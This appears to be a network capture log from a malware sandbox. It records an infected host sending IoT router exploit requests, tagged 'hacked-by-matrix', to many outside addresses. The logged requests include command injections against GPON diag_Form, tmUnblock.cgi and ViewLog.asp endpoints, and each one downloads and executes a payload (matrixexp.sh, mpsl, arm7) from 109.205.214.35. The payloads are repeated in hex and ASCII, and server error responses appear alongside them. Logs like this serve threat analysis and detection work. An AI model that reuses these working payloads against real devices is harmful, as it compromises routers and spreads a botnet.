Mar 21, 2024 05:22:14.503787994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
361	192.168.2.13	50896	5.158.42.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503801107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	59680	212.52.100.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503813982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	49238	109.221.254.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503823996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	60862	42.0.108.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503833055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	49300	212.176.123.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503846884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	52330	5.109.71.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503873110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	39482	5.237.182.95	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503895044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	37386	118.231.204.24	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503926992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	53198	118.150.1.20	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503943920 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	55338	118.246.6.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503967047 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	52662	109.25.191.76	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503971100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
372	192.168.2.13	44552	42.245.234.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.503999949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
373	192.168.2.13	60072	172.67.189.123	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.603863955 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:15.116363049 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
374	192.168.2.13	40440	82.165.114.146	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.816843033 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:14.994918108 CET	323	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:22:14 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 32 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 c8 4a f4 61 86 ea 43 1d 04 00 cb e6 d9 01 99 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 72(HML),I310Q/Qp/K&T$dCAfAyyyzzJaC0
Mar 21, 2024 05:22:14.994956970 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:22:14 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
375	192.168.2.13	53740	213.192.252.74	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.822118998 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:15.011642933 CET	793	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:22:14 GMT Server: Apache Content-Length: 199 Keep-Alive: timeout=3, max=1000 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 32 32 3a 31 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 32 36 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:22:14 GMTServer: ApacheContent-Length: 226Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
376	192.168.2.13	51016	178.239.114.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:14.837692022 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:15.917856932 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:22:16.130908966 CET	321	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:22:16 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.13	50470	221.163.122.79	7547

Timestamp	Bytes transferred	Direction	Data
